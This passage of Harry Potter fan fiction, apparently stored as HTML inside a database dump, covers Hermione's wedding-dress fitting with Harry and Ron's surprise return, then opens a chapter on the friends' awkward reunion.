She&#8217;s a little hard of hearing, anyway. Well, here we are.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had reached the shop. Harry&#8217;s somber expression returned. He opened the door and ushered Hermione inside. The store was empty. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mrs. Tuttle?&#8221; Hermione called. &#8220;Mrs. Tuttle?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; An older matronly woman came out from behind the curtains. She was wearing a measuring tape around her neck and was carrying a sewing basket. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; she said, smiling broadly as she saw the two of them. She embraced Hermione warmly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi, Mrs. Tuttle,&#8221; Hermione said, smiling as they broke the embrace. &#8220;It&#8217;s so good to see you.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s good to see you, too,&#8221; Mrs. Tuttle said. &#8220;Last time that I saw you, you were only just a little girl. And look at you now, all grown up and getting married.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Tuttle now noticed Harry for the first time. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is this the lucky young man? Hermione, what a great catch. He&#8217;s absolutely adorable,&#8221; Mrs. Tuttle said. She grabbed a surprised Harry and gave him a bear hug. &#8220;How wonderful to meet you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not---&#8220; Harry said, stuggling to breath. She finally let go of a grateful Harry, but she still held on to his arm and beamed at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look at you two,&#8221; Mrs. Tuttle said. &#8220;You know, I&#8217;ve been doing this for nearly 40 years and I can always tell when a couple will make it. And it is my expert opinion that the two of you will be together forever. I can see it in the eyes----such love and happiness. I can tell, and I&#8217;ve never been wrong.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione both stared at the older woman with stunned expressions. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Um, Mrs. Tuttle,&#8221; Hermione said. &#8220;This isn&#8217;t my fianc&#233;. This is my friend, my oldest and dearest friend, Harry Potter. Harry, this is Mrs. Tuttle.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Tuttle looked at both of them confused. &#8220;Hermione, are you sure? I&#8217;m never wrong about these things.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m positive. Harry&#8217;s just my friend,&#8221; Hermione said. She didn&#8217;t notice that behind her Harry&#8217;s face had fallen. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh well, I&#8217;m sorry,&#8221; Mrs. Tuttl e said. &#8220;I&#8217;m very pleased to meet you Harry. Um, well, why don&#8217;t we get started? Harry, why don&#8217;t you sit down while I take the bride-to-be in the back and see how the alterations are going. Hermione, your mum brought the dress over a couple of days and may I just say it&#8217;s going to look absolutely wonderful on you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled nervously at Mrs. Tuttle. &#8220;I hope so.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Tuttle walked toward the back of the shop. Hermione turned to follow, but turned around. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you going to be okay, Harry?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;Unless some bride-to-be attacks me with a veil, I think I&#8217;ll be alright.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Hermione said. &#8220;I guess I&#8217;ll go on back now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said, sitting down on one of the two chairs in the middle of the shop. He picked up a catalogue and began to flip through it. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m really sorry Hermione, dear,&#8221; Mrs. Tuttle said, as she pinned the hem of the dress. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For what?&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For mistaking your friend out there for your fiance,&#8221; Mrs. Tuttle said. &#8220;I&#8217;m usually spot-on accurate with these things, though.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s okay,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you&#8217;ve been friends for a long time?&#8221; Mrs. Tuttle said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said, with a smile. &#8220;Since we were 11, actually.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s a long time,&#8221; Mrs. Tuttle said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, it is.&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Raise your arms dear, I won&#8217;t to work on that side hem,&#8221; Mrs. Tuttle said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione did as she was told and watched in the mirror as Mrs. Tuttle busily worked on the dress. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s probably what you saw,&#8221; Hermione said. &#8220;You know, Harry and I being such good friends.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Mrs. Tuttle said. &#8220;You see, you can tell a lot about a person by looking in their eyes. Eyes are like a window into the soul, you know? I know it&#8217;s very clich&#233;d, but it&#8217;s the truth. I saw something in that boy&#8217;s eyes when he looked at you. And I&#8217;m never wrong about these things.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shifted uncomfortably. &#8220;Oh.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And I saw the same thing in your eyes, too, dear,&#8221; Mrs. Tuttle said. &#8220;But, maybe you&#8217;re right, it might just be friendship.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded. &#8220;Yes, friendship. That&#8217;s exactly what it is. Friendship.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm,&#8221; Mrs. Tuttle said. &#8220;Well, there we are. I think we just need to redo some of the stitching, but other than that, this dress is amazing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Hermione said. &#8220;I think so, too.&#8221; </p>\n\n<p>&#8220;Do you want to let your friend see?&#8221; Mrs. Tuttle said, smiling at her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, that&#8217;s okay,&#8221; Hermione said. &#8220;Besides, he&#8217;ll see at the wedding and the dress isn&#8217;t even finished yet. You still have some minor alterations.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You should let him see,&#8221; Mrs. Tuttle said. &#8220;He&#8217;s been sitting out there very patiently. He should see what we&#8217;ve been doing. Besides, it&#8217;s a beautiful dress and you look beautiful in it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you really think so?&#8221; Hermione said, feeling her cheeks go red.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Absolutely,&#8221; Mrs. Tuttle said. &#8220;You stay here and I&#8217;ll go get him.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled. &#8220;Okay.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Mrs. Tuttle left, Hermione looked at herself in the mirror. Truth be told, she&#8217;d never been one for fashion and lace. She could still remember how exasperated she&#8217;d get having to listen to Lavender and Parvati go on and on about the latest fashion and makeup tips. Yet, she still loved this dress and she had to admit she liked how she looked in it. It was like she had been born to wear that dress. It was beautiful, she had to admit. And she did feel beautiful in it. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The dress was a classic moonlight white with a hand-beaded empire style bodice. The portrait-style neckline was beaded with pearls and the waistline was trimmed with satin ribbon. While a few simple alterations were yet to be done, the dress fit her perfectly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her thoughts were interrupted by the sound of the curtain swinging back. Hermione turned to see Harry and Mrs. Tuttle watching her. Mrs. Tuttle was beaming at her and Harry stood silently, staring at her. She couldn&#8217;t read his expression. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221; Hermione asked, alarmed. &#8220;Does it look awful? Do I look awful?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry continued to stare at her without uttering a word. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry?&#8221; Hermione asked, worried.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think the young man is speechless,&#8221; Mrs. Tuttle said beaming at Harry. &#8220;Trust me that&#8217;s the reaction you want.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry finally closed his mouth and a smile played at the corner of his lips. He seemed to be regaining his composure. &#8220;You, um, you look,&#8221; he began. &#8220;You look amazing.&#8221;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Hermione smiled shyly. &#8220;Really?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve never seen anything more beautiful in my entire life,&#8221; Harry said, sincerely. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s just a dress,&#8221; Hermione said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not just the dress, Hermione,&#8221; Harry said, still staring intently at Hermione. &#8220;It&#8217;s the girl in the dress. You are beautiful, Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt her cheeks going pink yet again. &#8220;Thanks.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Tuttle continued to smile brightly at Hermione. &#8220;Let&#8217;s hope that the groom-to-be has the exact reaction.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He will,&#8221; Harry said. &#8220;Ron&#8217;s a lucky man.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked down at the floor, suddenly feeling very awkward. &#8220;Well, I&#8217;d better get changed.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;I&#8217;ll, um, I&#8217;ll just wait.&#8221; He took one last look at Hermione and then walked out of the dressing room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The walk back to Hermione&#8217;s flat had been a quiet one. Hermione hadn&#8217;t dared say anything to him. He&#8217;d been cool to her ever since they had left the shop. She always knew when to press Harry on what was wrong and when to let things go. She&#8217;d sensed from the beginning that this was something he obviously didn&#8217;t want to talk about. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The bad thing about them not speaking was she was alone with her thoughts. She couldn&#8217;t forget the look on his face when he&#8217;d seen her in the dress. She couldn&#8217;t get that image out of her mind. She couldn&#8217;t get Mrs. Tuttle&#8217;s words out of her mind, either. She tried to tell herself that Mrs. Tuttle didn&#8217;t know anything about her and Harry. She had no idea of their history or what their relationship had been. She probably told all her customers, stories like that to get them to buy extra accessories or something like that. Deep down, she knew that wasn&#8217;t true. Mrs. Tuttle had been a friend and patient of her mother&#8217;s for years. Her mother had always told Hermione what a wonderful, honest woman Mrs. Tuttle was and how there was no one better to perform the alterations on the dress. Mrs. Tuttle, Hermione thought, obviously saw something that neither she nor Harry was willing to admit. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmmm?&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You just walked past your apartment house,&#8221; Harry was saying to her. Hermione turned around to see Harry standing in front of her apartment house. She had walked a good 100 feet away from it. She scurried quickly back to him and smiled. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry &#8216;bout that,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No problem,&#8221; Harry said. &#8220;Well, let&#8217;s go on upstairs.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, of course,&#8221; Hermione said, opening the door and walking in, followed by Harry. They climbed the stairs, again in silence. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When they reached the top of her stairs, Hermione fumbled for her purse to find her keys. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grabbed her hand, &#8220;Hermione.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; she said, dropping her purse. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; came another voice from the stairwell. Both Hermione and Harry looked down to see Ron smiling up at the two of them. &#8220;Harry?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, now that we&#8217;ve established who everyone is,&#8221; Ron said, walking quickly up the stairs. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, what the bloody hell are you doing here?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Harry just stared at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you doing here, Ron?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I just got home. The last game got rained out. So, I came straight here. And I am glad I did. Harry, it&#8217;s so great to see you, mate,&#8221; Ron said, grabbing his friend in a bear hug. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s, um, great to see you, too,&#8221; Harry said, grinning back at Ron. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione! Why didn&#8217;t you tell me he was back? When did you get back?&#8221; Ron asked, looking at her. &#8220;And why haven&#8217;t you given me a hug, too. We are getting married after all.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled at him, half-heartedly. &#8220;Well, of course we are. Come here, you prat.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron enveloped her in a big hug and kissed her on the forehead. &#8220;I missed you,&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me, too,&#8221; Hermione said. &#8220;Well, we better get inside.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, well you still haven&#8217;t told me what you&#8217;re doing here, Harry,&#8221; Ron said, as Hermione picked up her purse and pulled out her keys to open the door. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it&#8217;s a long story,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;d like to hear it,&#8221; Ron said. &#8220;Look at this. The Three Musketeers back together again. Who would have thought it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione held open the door for Harry and Ron and ushered them both inside. Ron turned to her before going inside, &#8220;This is great isn&#8217;t it, love?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, it sure is,&#8221; Hermione said. Ron smiled at her and walked into the living room and began talking animatedly with Harry. Hermione watched the two of them. She didn&#8217;t know whether to laugh or cry. </p> '),
	(255, 10, ' <p>Author&#8217;s Note:&nbsp; Thanks again for all the great reviews. You guys keep me going! </p>\n\n<p>&nbsp;</p>\n\n<p>Chapter Ten &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>The More Things Change&#8230;&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So,&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sew buttons,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The trio exchanged nervous laughter. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To the outside world, it would have seemed like an ordinary gathering of friends who hadn&#8217;t seen each other in a long time. To the wizarding world, it would have been cause for rejoice. The Dream Team was back together again. It was the stuff of movies and books and legends. To this trio, however, it was an awkward reunion to say the least. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sew buttons. It&#8217;s what my mother always says when someone would say &#8216;so&#8217;,&#8221; Hermione said. &#8220;Hey, give me a break, I&#8217;m not a professional comedian. Why don&#8217;t we all have a seat.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron smiled at her and gave her a kiss on the cheek as he edged past her to grab a seat on the sofa. Harry smiled nervously at her as he sat on the chair. As he sat down, he looked back at Hermione, who had a panicked look on her face. He followed her gaze to the coffee table where the employee registers from The Ministry, were laying open. Beside the coffee table, was Harry&#8217;s suitcase and a couple of pairs of his shoes. </p>\n\n<p>Ron, too, was looking at these items and he looked curiously at the two of them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you staying with Hermione?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh,&#8221; Harry began. &#8220;Yes, I just got in a couple of days ago and she offered to let me crash here for a few days.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you&#8217;re going to be back for awhile, then?&#8221; Ron asked, smiling at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It looks that way,&#8221; Harry said, looking at Hermione as she took a seat beside Ron on the sofa. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what brings you back? Does my mum and dad know you&#8217;re back, yet? And you, Hermione Granger, I can&#8217;t believe you didn&#8217;t tell me. You could have sent me an emergency post or something,&#8221; Ron said, mockingly accusatory to his girlfriend. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, it was all so sudden, Ron,&#8221; Hermione said, she nervously brushed a strand of hair away from her face. &#8220;And I knew you&#8217;d be back in a couple of days, anyway. And I knew Harry wasn&#8217;t going anywhere so I thought I&#8217;d leave you to your games and let that have your full attention.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You see why I love this woman,&#8221; Ron said, leaning over and kissing Hermione enthusiastically on the cheek.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had known they were together. He had read it in the paper. The full impact of it didn&#8217;t hit him until he actually saw Ron acting so lovingly towards her. He felt a twinge of jealousy as he watched Ron take Hermione&#8217;s hand in his. It pained him to see that. To complicate matters even further, he could still see her in that dress. He didn&#8217;t think that image would ever leave him. She was breathtaking. Looking at her, then, he had felt a wave of warm memories wash over him. He knew then, that he was still in love with her. Truth be told, he&#8217;d never stopped. As they had walked back to the apartment earlier that night, he&#8217;d been thinking about it over and over again. He&#8217;d loved her for so long. And those feelings had only gotten stronger in the time they&#8217;d spent apart. He&#8217;d been about to tell her that when Ron had surprised them. Ron&#8217;s reappearance had been a quick, swift kick in the pants, he thought to himself. It was a sign, he thought; a sign to tell me that I need to focus on the job at hand---protecting Hermione. It was a sign to tell him that this wonderful girl---his best friend, even---that he loved so much was scheduled to marry his other best friend in a matter of weeks.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry? Earth to Harry,&#8221; Ron was saying. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Harry asked, focusing back on Hermione and Ron. 